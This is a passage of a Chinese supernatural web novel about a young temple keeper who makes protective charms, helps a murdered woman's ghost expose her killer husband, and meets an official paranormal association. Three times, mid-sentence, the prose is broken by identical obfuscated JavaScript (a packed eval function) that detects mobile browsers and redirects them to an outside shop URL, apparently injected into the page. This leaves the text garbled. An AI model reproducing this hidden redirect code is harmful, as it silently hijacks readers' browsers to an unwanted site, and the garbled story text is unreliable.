她睁开眼,现在天色才刚蒙蒙亮,庙里好久没人来上香了,一大早竟然有人敲门? 跑到前院打开门,商小玉看到鼻青脸肿的钓鱼佬杨岭。 旁边是位个头娇小,大约一米五的中年女人,大眼睛,狮头鼻,薄嘴唇,中等长度的羊毛卷蓬松披散,整个人看起来有种不符合她身高的气势,像头愤怒的母狮。 杨岭谄媚道:“早啊,大师。这是我老婆孙青。” 昨天那通电话,商小玉也听见了,可以想象,这人昨天回家后的场面一定很血雨腥风。 “早。”她抿着嘴,让自己不笑出声。 杨岭委委屈屈地说:“大师,那个女鬼大姐在你这吗?能不能让她出来帮我跟我老婆解释一下?我真的没出轨啊。” 母狮孙青抱着胳膊,冷冷地看着商小玉,满脸写着:看你们怎么糊弄我。 丈夫亲口叫了别人老婆,这件事确实很难解释。 商小玉挠挠头,说:“可以是可以,可是你去那条街找商家调摄像头更简单吧?” 普通人一般见不到厉鬼,想见需要开阴阳眼,影响运势,而且看到厉鬼感觉可不太好。 虽然摄像头看不到鬼,可是能看到杨岭打电话的时候没有出轨。 杨岭一愣,“对啊,我怎么没想到。” 妈的,白挨一夜打。 不过来都来了,杨岭知道这位过于年轻的大师是有真本事的,殿里供的两尊神再不合常理,也有她的道理,于是虔诚敬了香,并且掏出一个红包,双手捧着递给商小玉。 “感谢大师救了我的命,钱不多,您别嫌弃。” 孙青瞪了一眼,但没有阻止。 5. 河中女尸 商小玉一摸厚度,大约有三千块,在上香的人里已经是相当大方的了。她还从杨岭这里得到了很虔诚的信仰。 不过,杨岭的愿望她怕是没法满足,谁能管得了他老婆不揍他啊。 她观察两人,杨岭虽然被揍成了猪头,但从面相看,健康和运势没什么问题。倒是孙青,性格强势急躁,现在又急火攻心,印堂隐隐发黑,最近会过得不太顺。 “稍等我一下。”她快步走到后院,从房里拿了两枚桃符回来,递给杨岭。 “给家人随身带着,可以保平安的。” “谢谢大师。” 杨岭拿在手里把玩,桃符只有麻将那么大,五毫米厚,雕工干净利落,没有任何花纹,只打磨光滑,正面用云篆刻了字,他懂一点,写的是“平安”,细看很有古韵。 他宝贝地挂在车钥匙上一个,另一个给老婆,但正在气头上的女人不肯要,甩手走了。 杨岭连忙跟商小玉告别,追上老婆。 杨岭开着车带老婆来到昨晚的事发地,找到对面快餐店的摄像头的确正对着他鬼打墙的地方,热心的店家也爽快答应,调取了监控。 孙青气狠狠地说:“我再给你最后一次机会,看完监控直奔民政局离婚。还鬼打墙,编瞎话也不编个让人愿意信的。” 快餐店老板站在一旁暗戳戳看热闹,鬼打墙?这条街白天夜里都很热闹,也没有人出过意外,怎么可能有鬼,听说鬼怕人气,就算有也被人气冲散了。 杨岭堵着气一言不发,把监控时间调到他下班后不久。他家距离上班地点很近,而且附近容易堵车,他一般都走路上下班。 很快,监控镜头中出现了他急匆匆走路的身影,但走到快餐店对面的医院后墙时,突然定在原地。 然后,他的肩膀慢慢弯下去了一截,低着脑袋,好像整个人突然被抽走了灵魂。他依旧在走路,却不再往前走,而是围着树转起圈圈。 一圈,两圈,十圈,一百圈…… 可怕的是,那时候也就晚上七点多钟,街上有很多下班的或者吃饭的行人,没有一个人注意到杨岭的奇怪表现。 杨岭虽然已经经历过了,但看着屏幕里的自己,浑身寒毛直竖,握紧了手里的平安符。 镜头快进到孙青给他打电话的时间,他机械地掏出手机接电话,眼睛呆滞,看得出是不太清楚自己说了什么的。 此时,屏幕中出现了一个短发女孩,站在杨岭面前歪着头听他打电话,两人距离有一米远。 杨岭突然抬头,屏幕中清晰拍到他的表情,眼睛整得极大,嘴巴大张,发出恐惧至极的惨叫,随后晕倒。 商小玉随后戳了他一指头,过了一会,杨岭像火烧屁股一样跳了起来跑了。 事情至此真相大白。 杨岭扬眉吐气,挺直了背,指着老婆:“跪下,给爸爸道歉!” 他老婆正在沉思,闻言扬起眉毛,两个鼻孔冲着他喷气,提高声线:“你再说一遍?” 杨岭顿时气弱:“没,没什么,都是我的错,挑了错误的回家路线,惹老婆担心了。” 孙青哼声:“我要回公司开会,先原谅你这次。我会预约精神科的号,明天跟我去检查。” 这是虽然相信他没出轨,但认为他癔症了。 不过分别前,杨岭还是把另一枚桃符塞进老婆手里,“就当是个挂件嘛,还挺好看的。” 虽然不信,但丈夫精神不稳定,没必要拒绝他的心意。孙青随手放进右边衣兜,把车开走,让杨岭自己走路回家休息。 原本公司今天有个很重要的会开,丈夫疑似出轨让她气怒交加,翘掉了会,现在看看时间,赶去公司还来得及。 一路风驰电掣,为了赶时间,她使劲踩油门。 在过一个十字路口时,另一条路上停了辆SUV,车身太高,不能完全看到有没有车,但直行绿灯,问题不大,孙青没有减速。 这时,右边突然拐出来一辆摩托车,车速极快地冲过来。孙青吓了一大跳,连忙往左打方向盘,急踩刹车。 一阵让人耳膜发酸的刹车声和碰撞声,孙青看到左侧围栏极速向自己靠近,脑子里只有“完了”两个字。 “砰——” 这是辆老车,安全气囊没弹出来。 车头撞在路边围栏上,左侧车头撞得凹陷,路旁行人尖叫着冲过来,把孙青从驾驶座拉出来。 “人没事吧?” 孙青懵懵的,摸摸自己,完好无损,“没事。” 撞上那一瞬间,她看到右侧衣兜发出浅金色光芒护住了她,她掏了掏,掏出那枚丈夫塞给自己的桃符,木质小牌表面出现了一条竖长裂纹。 是这个桃符保护了她? 那个看起来年轻得过分的女孩子,竟然是个有真本事的大师。 路人见她完好无损,都说是奇迹。那个摩托车主抢红灯,撞上了另一辆车,被撞飞好几米远,一只鞋子掉在不远处,人至今没爬起来,大家也不敢挪动他,等着救护车来拉人,看起来凶多吉少。 商小玉正在扫门口的地时,又看到了杨岭和孙青来了。 她奇道:“怎么又来了,没查到监控,还想找厉鬼做证人?” 杨岭把头摇成拨浪鼓:“不不不,千万别,我们是来道谢的。” 他接到电话的时候都吓傻了,那车头整个都撞碎了,安全气囊没瘫出来,可是孙青完好无损,浑身一点擦伤都没有。 他没想到连随手给的桃符都那么厉害,幸好人家大度,没责怪他之前的得罪。 孙青脸色还是白的,纯吓的,把车祸讲了一遍,给她看裂了的桃符,郑重向她道谢,并且又包了个大红包,这次足足有一万块。 商小玉没有意外,她往桃符里送了神力,效果当然很好,喜滋滋地接过红包。 夫妻俩拜了神,又请了几枚平安符回去。 大早晨的,商小玉就得到了两个信徒,三份香火,一万三千块的香火钱。 这下修房顶的钱有了。 她大手一挥,奢侈地做了炖大餐,青椒炒牛里脊,清蒸海鲈鱼,和红烧土鸡肉,炒青菜。大餐大家都有份,每道菜都做了三份, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253675|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份给师父,一份给姚艾艾,剩下的给自己。 不知道是不是错觉,商小玉觉得师父这次享用贡品的速度比以前要快一些。 他是爱吃肉,还是爱吃肉呢? 不过,三天过去了,警方那边没有任何动静。 商小玉打了个电话询问,对方说姚艾艾与女尸的年龄不符合,而且姚艾艾的家属没有报失踪,说她回娘家了。 商小玉总不能告诉警方,女鬼本鬼亲口告诉说她就是姚艾艾。法医有一套很科学的鉴定办法,几乎不可能把尸体年龄定错得那么离谱。 可姚艾艾很确定自己只有25岁。 除非,她短时间突然长了15岁。 一个普普通通的渣男,会封人三魂七魄就够奇怪了,还会偷人寿数。他要是有这本事,就不会欠一屁股债,只能打老婆出气了。 姚艾艾也说渣男虽然经常搞封建迷信活动,也很怕鬼,但一般都是被各种大师骗钱,自己是没什么本事的。 商小玉掏出颈间的木质桃符,低声问:“师父,有什么邪术会偷走人的寿数吗?” 姚艾艾感到冥冥中有双恐怖的眼睛看了自己一眼,怕怕地缩成一小团。 过了两秒,桃符中传来低沉的男声:“很难。人之寿数冥冥中自有天定,勾人魂魄、增减寿数是阴司职权,但此事并非阴司所为。” 姚艾艾举手:“为什么不是阴司做的呀?” “阴司害你干嘛。”商小玉看她一眼,“看来你丈夫有一些不为人知的小秘密,我们去你家看看吧。” 等到天黑之后,商小玉和姚艾艾出门,到山下坐公交车。 虽然已经比较晚了,但还是会有打工族下班回家,车上几乎满座,站了三站地,商小玉才在后排坐下。 姚艾艾就比较惨了,就算暂时有空座位,过不了多久也会被刚上车的占走。她还要避免冲到人,只好龟缩在商小玉面前巴掌大的地方。 姚艾艾不解:“为什么不打车呢?” 商小玉小声回:“你看我像是打得起车的样子吗?” 姚艾艾无语。 来到姚艾艾和渣男的出租房门口。 姚艾艾飘进去看了看,回来愤怒地说:“他还有脸住!这房子还是我的钱租的呢。” 商小玉:“自己选的怪谁吧。” 姚艾艾气得要死。 商小玉总不能破门而入,作为守法公民,她选择直接敲门。 五分钟后,门内传来渣男的疑问:“你谁啊?” 商小玉摸摸下巴,张嘴胡扯:“你好,我是一个专门驱鬼的天师,路过这里看到你家怨气冲天,肯定有厉鬼,请问你需要驱鬼服务吗?” 渣男沉默三秒钟,“你有病吧!” 他烦躁地猛抽一口烟,不再理门外的人,离开门口。最近总是做噩梦,他连觉都不大敢睡了,眼下青黑一片,每天除了赌就是抽烟。 只要一闭眼,就想到那天晚上,就在这间客厅中间,他和老婆吵架,怒气上头,操起锤子砸向…… 不能再想了,明天就搬出去。 6. 河中女尸 今天竟然有警察打电话问起姚艾艾,他明明把尸体抛到河里去了,不知道为什么警方还能找到他。 渣男垂丧着头走向卧室,突然,他余光看到客厅有片鲜红的血泊,血泊中央站着一个女人。 一个浑身鲜血,四肢骨折,以扭曲的姿势支撑身体,更恐怖的是,她浑身浮肿惨绿,五官移位,脑袋被砸了一个大洞。 即便如此,他还是一眼就看出来这厉鬼就是姚艾艾,因为砸脑袋,藏尸行李箱,抛尸河里都是他干的,他再清楚不过了。 姚艾艾歪着被锤子砸瘪的头,满脸血泪,“老公,好痛啊,你为什么杀我?你不爱我了吗?” “啊!!!有鬼啊!!!” 渣男吓得差点疯掉,转身艰难冲向门口,打开门:“大师,救我,有鬼啊!” 他不是听那个人的,已经用黑线和符咒封住她的三魂七魄的吗?为什么她还是回来了? 商小玉叹气:“你看,我早说了有鬼的。” 她走进门,顺手把门锁上了。 渣男还想跑,结果门锁了,傻眼:“你先让我跑啊!” 商小玉笑咪咪道:“那怎么行。” 渣男紧贴着门,吓得颤抖:“为,为什么不行?” 商小玉:“我就是专程来找你的呀,你跑了我不就白花4块钱车费啦。” 姚艾艾一步步靠近过来,身上不断有腥臭的黑红血液和水珠落在脚下。 “河底好冷,好黑,我好怕,你来陪我吧……” 渣男腿脚一软,倒在地上,两腿之间出现一滩腥臭的淡黄液体。 商小玉好整以暇,抱着手臂站在一旁,嘴角挂着可恶的笑容,姚艾艾也没有害她的意思。 “你,你们俩是一伙的?你们想干嘛?” 渣男绝望,该不会是来杀他的吧? “要看你配不配合了,如果你配合,我就留你一条狗命,否则,我不介意姚艾艾厉鬼索命,手刃渣男。”商小玉微笑:“干我们这行的,都不太遵纪守法,你知道吧?” 姚艾艾配合地裂开嘴,桀桀笑了两声,很迫不及待。 “配合,我配合!” 商小玉问:“教你黑线缝七窍,给你封魂符的人是谁?他还做过什么?” 渣男如实交代了。 那人是他在一个地下赌场认识的赌徒,跟他一样有赌瘾,大家一来二去就混了个脸熟。有次,他愁眉苦脸,说师父下了死命令要找人,他不知道去哪里找。 渣男多嘴问了一句什么人,那人就说了一个八字,说要找这个八字的人,是男是女,是老是少都无所谓,八字对得上就行。 渣男喜爱算命,刚好知道那是姚艾艾的八字,于是说了,问他有什么好处。那人高兴极了,问花钱买她老婆的寿数行不行。 渣男说:“我觉得他在鬼扯,但是那会儿欠了点债,就顺嘴答应了,问他要钱,没想到他当场给我一万五,而且只要了我家地址。” 过了没几天,他惊恐地发现,老婆居然真的看起来老了十几岁。 姚艾艾那时精神出了点问题,心情沮丧,整天不出门,不照镜子,像个疯子一样跟他吵架,根本没发现自己的变化。 那一万五千块钱,渣男还了一部分钱,一部分又拿去赌场输光了,三天不到花得精光,根本没敢让姚艾艾知道。 后来他失手杀了姚艾艾,吓得要命,就把尸体丢在家,去赌场赌两把静静心,又遇到了那人。那人一眼看出他杀人了,看在是赌友的份上,大发善心给了他封印魂魄的方法。 当然,要收钱的。 渣男说虽然不知道有没有用,但是用了感觉会安心一点。 结果没几天,姚艾艾就回来复仇了。 姚艾艾气得掐住渣男的脖子来回摇晃。 “老娘十五年的命竟然就值一万五?老娘花在你身上的钱加个零都不止!我养条狗它都知道摇尾巴,你就只会噬主,垃圾男人,我当初为什么会看上你的!!” 渣男被掐得喘不上气,直翻白眼,眼看着要没了,商小玉稍微拦了下:“……你出出气得了,别把人真杀了。” 姚艾艾放开手,渣男哭着说:“艾艾,你是个好女人,我知道我对不起你,看在咱俩这些年感情的份上,你放我一条生路吧……” 一听这话,姚艾艾扑上去又掐了一遍。 “啊啊啊啊啊别TM给我提感情,你配吗!你配吗!!” 商小玉这次让渣男自己打电话自首,这回警方呜哇呜哇地来了一堆人,把渣男拷走了。 未免说不清楚,商小玉在警察来之前就离开了出租房,在楼下和围观群众一起看热闹。 一个大妈说:“根本想不通,这家的女人长得挺漂亮的,人也和气,怎么看上这么个男人。” “确实,挺丑的……不是,又丑又渣一男的都能找着对象,为什么我找不着?”这是个男青年。 “丑就算了,居然还杀老婆,法外狂徒!” “我女儿要是敢带这么个丑东西回家,我打断她的腿。” “本来我还考虑卖房,这下变凶宅了,谁还买啊,安心住着吧。” 商小玉沉默听着,从随身背包里掏出一打神荼镇宅桃符,“阿姨,驱邪镇宅有需要吗?50块钱一枚。” “哎?我还真有需要,但是你这有点贵啊。” “我这可是在土地庙开过光的桃符,你看这材质,年份很久的桃木哦,你再看这写的字,神荼,很有名的门神,门口挂一个,什么鬼都不敢进你家门,安全感满满。” “这样啊,看起来确实不错,那我买一个。” 桃符雕工很好,刻字也很漂亮,透着股与廉价小商品截然不同的气质,加上住户刚知道死了人,急需心理安慰,没一会儿桃符就卖光了。 姚艾艾躲在十米开外,无语凝噎。 警察不管管吗?这里有人发死人财啊。 看着渣男被拷走之后,商小玉没有回家,而是去了渣男说的那个地下赌场。 仅靠八字和地址就偷人寿数,这人手段不一般,她得去看看。 地下赌场在郊区的废弃工厂里,有两三个壮汉在门口或蹲或站地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253676|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望风,恐怕也不会让生人进。商小玉从侧面爬墙进去了。 在赌场转了一圈,没有看到渣男说的那个人。可能姚艾艾的尸体被警方发现引起了他的警觉,不敢再来了。 东州市那么大,如果他故意躲着,要找到犹如大海捞针一般,商小玉只能暂时搁置。 几天后,新闻报道了这桩案子的结局。 视频中,姚艾艾的父母千里迢迢赶来领独生女儿的遗体,两个穿着光鲜体面的人,伛偻着身体,头发花白凌乱,涕泪满面。 白发人送黑发人,对当父母的来说实在过于残忍。 姚艾艾满脸血泪,抽噎着问:“大师,能让我再见爸爸妈妈一面吗?我想当面向他们道歉。” 商小玉:“人鬼殊途,就算见面也没什么意义,徒增伤心。”而且还要消耗她不少神力。 姚艾艾说:“我爸妈可有钱了。” 商小玉丝滑接道:“但是话又说回来了,你爸妈肯定很想你,舔犊之情,太让人感动了,我就破例一次吧。” 幸好姚艾艾父母就住在附近,商小玉打开灵视,很快就找到了正在外面餐馆吃饭的两人。 她很快赶了过去。 她带着姚艾艾赶过去,看到两人还在餐馆,面前两碗面几乎没怎么动过,松了一口气。 “爸爸,妈妈!”姚艾艾捂着脸爆哭。 然而阴阳两隔,两人看不到她,神情呆滞着,眼眶红肿。 商小玉站在他们面前,开门见山:“叔叔阿姨你们好,我受姚艾艾之托来找你们。” 姚妈妈眼睛一亮:“小姑娘,你认识我女儿?” 旁边一个刚好认识商小玉的阿姨插话:“小商是那边桃枝山土地庙的庙祝,她那个庙很胡闹的,你可别被她骗了。” 店里好几个人点头:“就是就是,小商,人家刚死了女儿,够惨了,你可别赚这种亏心钱。” 商小玉鼓起两腮,亏她天天巡街保护他们,这群邻居竟然拆她的台。 姚爸爸以为她是看到新闻认识了他们,来骗钱的神棍,冷淡地说:“抱歉,我们现在不太想被打扰,请你理解一下。” “快走啦,别让人家觉得我们本地人都是骗子啦。” “就是,我们其实很淳朴的。” 商小玉深吸一口气,幸好她为了取信,提前让姚艾艾告诉她了一些事情。 她快速说道:“阿姨,姚艾艾两岁的时候打翻了装满热水的杯子,左手臂烫了一块疤,因为她是疤痕体质,一直没能完全修复,后来她在疤上纹了身。” “她说你每年生日都送她很多昂贵礼物,但她最喜欢的是13岁时你送她的狗,名字叫菠萝,有段时间每天都会接送她上下学,特别通人性。她特别后悔离家出走时没带走,你当时不让,后来又很庆幸没带。” “叔叔,她小学六年级谈恋爱,偷你的烟给男朋友被你发现了,那是你第一次揍她。其实你的五粮液她也偷了,偷完灌满水放回去了,到现在你都没发现。” “如果方便的话,她想再见你们一面,当面道歉,可以吗?” 7. 河中女尸 两位老人泪流满面,不住点头,“可以,可以。爸爸/妈妈也想见艾艾。” 商小玉把人带回庙里,用神力给他们开了天眼。 姚爸姚妈看到庙里供奉的神像,本来还有点怀疑是不是被骗了,突然眼前一片色彩闪过,面前出现了他们女儿。 半透明的姚艾艾脚尖点地飘过来,看起来老了很多,脸上糊满了血泪,“爸爸,妈妈!” 场面比较惊悚,姚爸姚妈吓了一跳,犹豫两秒,才抱住女儿。 也就是亲生父母才敢了。 商小玉离开偏殿,把空间留给他们,盘腿坐在神荼的神像面前,托着腮等。 她从来没有见过生父,甚至不知道他是怎样一个人,对她抱有怎样的想法。 生母商清音,早年是很嫌弃她的,嫌年纪轻轻生一个孩子伤了身体,嫌她来历不明,嫌养育她麻烦,于是甩手丢给了姥爷,母女俩上次见面还是前年姥爷的葬礼上。 都说师恩如父,师父也算她的亲人。如果不是他,世上也就不会有商小玉了。 她突然开口:“师父长什么样?我还没见过你呢。” 神荼每次都是开口指点她简短几句话,从来没现过真身。 神殿内青烟袅袅,端肃威仪的神像沉寂无声。 神荼从来没有沉默那么久不回,想想他那个性格,商小玉觉察到自己给他困扰了。 “哎,我就随口一说,师父你忙你的,不用管我。” 姚家的会面一直持续了三个小时,直到天眼神力耗尽才完。 姚爸姚妈感激地出来,向商小玉道了谢,很有眼色地拜了神,捐了十万块的香火钱,出手非常大方。 商小玉不光收到了姚爸姚妈的香火,还收到了姚艾艾的那份。原来帮助鬼魂也会有香火的吗?但她这些年给桃枝山的孤魂祭品,从来没得到过香火,应该是因为条件比较苛刻的原因。 姚艾艾死后最大的执念就是让渣男得到报应,其次是见父母,满足了这两天,才会给她香火。 现在,姚艾艾的愿望满足,魂体更加透明了。因为支撑她存在的东西消失了,她很快就会消散。 姚艾艾的面目不再狰狞,笑着说:“大师,剩下的时间,我想跟爸妈回老家去。” 商小玉点头,下意识叮嘱:“不要冲撞了人,更不要害人,否则就算跨省我也会冲过去打散你。” “不会啦。” 这几天收到了十几万香火钱,修房子用不了那么多,而且商小玉最缺的是香火。 她把其中五万块钱捐给了本市的福利院,虽然比不上信徒上香的香火,但给捐款人的感谢也是香火的一种,或者说,叫做功德,也会增加神力。 现在,商小玉如果把神力积聚成一小团,有核桃那么大一团了。 说起来,这是从小到大最富裕的一次。 以前她业务能力有限,而且忙着上学,姥爷不让她跟鬼打交道,怕影响身心健康,而桃枝山一直很和平,捞到尸体是二十年来头一次出事。 隔日,商小玉请了两个修房顶的师傅回来时,看到自家庙门口站了个人。 一个平头男青年,身高普通,大约有一米七,肤色黝黑,神情严肃,穿着牛仔裤和黑色T恤,运动鞋。 右手胳膊从袖口到手腕,满满的一条花臂,连领口都露出一点,纹的是个穿汉服红裙子的人,像是女人,脸隐没在衣服里面。 这个人个子不高,但背挺得特别直,肩膀宽阔,气质特别沉稳高大,说是一米八也有人信。 但是红衣花臂让他的沉稳气质里多了点骚气,难道是难以忘怀的女朋友? “赵兕,我的名字。协会有事情找你。” 他身上有种非同寻常的气质,商小玉莫名觉得他有点强。 “你好,我叫商小玉。”她掏出钥匙开门,请修房顶的师父先进去干活,习惯性加了一句:“要不要上柱香,很灵的哦。” “……我是协会的,你不知道吗?”赵兕看到门内供的神像,拧眉:“你这是供的谁?不像正统神灵,通过审查了吗?” 商小玉有种警察上门□□的感觉,懵逼问:“什么协会?” 赵兕掏出证件,黑色皮面镶着银色铁质的徽章,写着“灵异事件调查与研究协会”。 商小玉耳边轻轻响起神荼低沉缥缈的男声:“是官方。” 商小玉头皮一炸,默默掩门挡住神像。 她很久以前听师父说过,官方有处理灵异事件的机构,但是桃枝山一亩三分地,从来没跟他们打过交道。 至于审查?好像根本没申请过,不会拆了她的庙吧? “算了,先不说审查的事。前几天的河中女尸事件,你插手了吧?” 赵兕是为了姚艾艾的事情来的。警方在对比了姚艾艾和父母的DNA,确认那是姚艾艾本人,但骨龄对不上,于是申报给了协会处理,找商小玉只是问询。 商小玉把自己知道的都说了一遍,姚艾艾她帮了,但没有违规,邪术师她也没捉到,跟渣男的口供差不多。 赵兕看看商小玉,思考要不要过河拆桥,把这摸不清底细的小姑娘带回去审查的时候,电话响了。 竟然是总协的会长打来的,他走到旁边接通电话。 “桃枝山土地庙你不要动,她已经通过总协审查了。” 赵兕疑惑:“可是东州分协收到的资料里并没有这间庙啊,更没有商小玉的档案,是漏了吗?” “这是s级机密,你没有权限知道。你可以完全信任商小玉,但不要打听她的来历,明白吗?” “是,会长。” 来历,赵兕捕捉到这个奇怪的字眼,他回身望向这间香火冷清的小庙,商小玉站在门前,阳光撒在她小巧的心形脸上,鼻子和睫毛投下小片阴影,瘦弱娇小的女孩,神色略带忐忑,看起来就是个普通人。 能有什么来历? 接完电话回来,商小玉发现黑脸男和善多了,告诉她,如果发现邪术师的踪迹记得报告协会,与她交换了联系方式,绝口不提审查的事。 赵兕走之后,商小玉猜到他态度前后差距的原因,小声问:“师父,你跟协会有联系?” 神荼的声音传来:“有个熟人。” 他的话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253677|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如既往地简短,商小玉已经习惯了,也不多问。问了也没用,他想说的时候自然会说。 太好了,她还以为要被拆庙了呢。 而且,师父在官方协会有熟人,看样子还是个不小的人脉,说不准以后有事也能帮忙呢。 修房顶的师傅检查之后,说有两间屋子房梁需要更换,其他只需要重新捡瓦就可以了,给出了比较合理的价格。剩下的钱,商小玉还能把神殿的发黄的墙壁刮掉腻子,重新粉刷一遍,再稍微装修一下。 跟师傅商量好,商小玉掏出手机,看到陈湄发来消息,说附近开了一家东北菜馆,请她晚上吃饭。 她爽快答应,三两句便约好,她在放学时间去校门口等她,两人再同去餐厅。 商小玉下午把时间都花在制作桃符上,雕了10枚镇宅符,10枚平安符,等全部雕好之后,正好到时间,于是揣上两枚开好光的平安符赶去赴约。 陈湄任职的学校并不远,半小时的路程,商小玉选择直接走过去。 掐着时间走到学校门口,距离放学还有10分钟,她便站在树荫下等。 这里同时还有十几个等着接孩子回家的家长。 刚停下几秒钟,她就感觉到附近有股似有若无的阴寒气息。 商小玉左顾右盼,锁定了一个中年女人。 对方大约40岁,身材微胖,穿着得体,戴着细金项链和两个大金镯。但面色非常惨白,无神的眼睛下挂着两个青黑色的大眼袋,和苹果肌一起无力地下垂着。 商小玉走过去,笑道:“阿姨,你的金镯子式样好特别啊,是哪里来的?” 女人警惕地收拢住金镯,“你有事吗?” 商小玉说:“就是觉得这风格挺复古的,用料那么足的龙凤金镯,而且看起来是纯手工打的,不掺一点现代工艺,像是上个世纪初的老古董。” 一旁认识的女人笑道:“我刚才也看到了,真要是纯金,得一二十万了吧,怕是个假的。” 女人一听不乐意了,“谁说假的,这是我老公给我买的纯金镯子。” “你老公有点钱就喝酒了,哪来那么些钱?” 商小玉笑笑:“确实是纯金,不过这东西来路不好说,我看着像是挖出来的。” 挖出来说得不算隐晦,在场的都听出来,她的意思是从墓里挖的,纷纷露出晦气的表情,站远了些。 女人气得不轻:“你怎么说话的,这么没教养,瞎话张口就来。” 如果别人有商小玉的视角,就会发现那两个金镯正释放着丝丝缕缕阴气,大部分都被女人吸收,一点点蚕食着她的生机。 商小玉早知道她不会信,就说:“这东西虽然能影响你身体,但就是个土里挖出来的东西,不至于吸你那么多生气,搞不好正主已经找来了。你家里人最近身体状态是不是挺差的?生病了,或者出了什么倒霉事?” 女人被她说中了,脸色一变。 “你夜里别戴镯子,穿一件大红色的衣服,躲在你家正南方位,白天阳光最好的位置,不管看见什么都别出声。如果有问题,明天可以来桃枝山土地庙找我。” 8. 夜半梳妆 商小玉说完就没再管那个女人,对方将信将疑,皱着眉头掏出手机,疯狂打字。 过了一会放学铃声想起,很快学校门口冲出来一批人,其中就有陈湄。 这人冲在最前面,手里牵着一个学生,老远就东张希望,看到商小玉,大踏步冲过来。 那个女学生圆圆的脸,脸色也很差,跟中年女人一样眼下青黑,精力不济的样子,这段路程跑下来气喘吁吁。 “小玉,没有等太久吧?介绍一下,这是我班上的学生,叫赵莹莹。” 赵莹莹背着书包,腼腆地向商小玉打招呼,然后望向站得稍远的中年女人,“妈。” 中年女人比较敷衍地向陈湄打了个招呼,拉着女儿就走:“赶紧的,我还得回家做饭呢。” 陈湄想叫赵莹莹,被商小玉拉住,“先去吃饭。” 陈湄只好先作罢。 大概是处于尝鲜心理,新开的东北菜馆生意火爆,幸好两人去的比较早,点好餐时,门口已经排起长队。 一边等菜,陈湄小声问:“我上次去你庙里拜的时候,就感觉你是有点真本事的,你觉不觉得赵莹莹有点问题?”她两手比划着,“就是,好像撞了什么脏东西?” 商小玉问:“她有什么问题?” 陈湄:“她最近天天上课睡觉,本来成绩挺好一孩子,现在糊里糊涂的。有天上晚自习,我在走廊上碰见她,拿着面镜子一边照一边自言自语,还笑,问话也不理人,还有她的姿势,非常奇怪。” “翘着兰花指,走路扭扭的,就像老电视剧里的古代大家闺秀,我觉得,那不是赵莹莹。”她伸出手比划,有点害怕地说:“我第二天白天去问赵莹莹,她说她不记得晚自习做过什么了。” 说完,陈湄不由打了个寒战。 她虽然胆子小,但身为人民教师,本来不应该向学生宣传封建迷信。但陈莹莹那天晚上的举动实在太奇怪了,她想了好几天,还是打算找商小玉帮下忙。” 鉴于她的教师身份,商小玉建议:“这事儿我已经向她妈提了建议,如果他家真有问题,她会找我的,你就别管了。” 陈湄瞪大眼:“你是说,真的有?该不会是被鬼上身了?” 商小玉犹豫了下,不知道该不该点头,她会吓到吧? 这个反应……猜对了?陈湄倒吸一口凉气,把自己缩成一团,颇神经质地左顾右盼,问:“这家店没有那种东西吧?” 商小玉好笑:“怎么可能,这里那么多人。”一般鬼都怕阳气重的地方,这么多人它们要是真敢来,不用她出手,就得被冲散了。 她掏出两枚平安符递过去:“这个给你,保平安的。” 陈湄连忙接过,不知道是不是错觉,这桃符跟她在庙会买的相比,更加有种神秘的感觉,虽然比不上那次上香的效果显著,但是也安心不少。 “这个多少钱?” 商小玉:“这顿饭就足够抵消了,你有空去庙里上柱香。” “必须的。” 陈湄摸摸桃符上“平安”两个字,奇思妙想道:“既然有保平安的符,那有没有其他种类的符呢?” “比如?” “比如像咖啡一样提神的符,如果真的有,对我来说可太有用了。”陈湄打了个哈欠,抱怨晚上要备课,有时候还要改作业,写教案,白天还得八点起床去上课,一不小心就熬夜了,黑咖啡都快失灵了。 商小玉想了想,还真有。 她放下筷子,要回一枚桃符,捏在手心,拇指一抹,便把桃符最上面一层“平安”抹去,又拿了根牙签,掰掉尖尖。 不怎么坚硬的竹制牙签在她手里像雕刻刀一样,木屑簌簌而落,商小玉运笔写了云篆的“清心”两个字。 一笔落,桃符立即生效。 她递给陈湄。 陈湄手指触及桃符刹那,一股说不清的感觉从指尖传入头脑,原本劳累一天的头脑竟然真的清醒些许。 这种感觉初始很微小,并不特别明显,但润物细无声,真的不觉得累了。 她震惊:“天啊,省了多少咖啡钱!” 陈湄爱不释手,决心除了洗澡,她要时刻佩带。 等抬起头拿筷子继续吃饭时,她发现,桌上本就超乎寻常的菜量,已经下去了一大半。 她本来还想着吃不完打包回家当明天早饭的! 对商小玉说来说,再多一倍菜量,她也能轻松吃饭。 这家店的确味道很好,吃完饭,她又自己掏钱点了自己觉得最好吃的两道菜,准备带回家给师父尝尝。 * 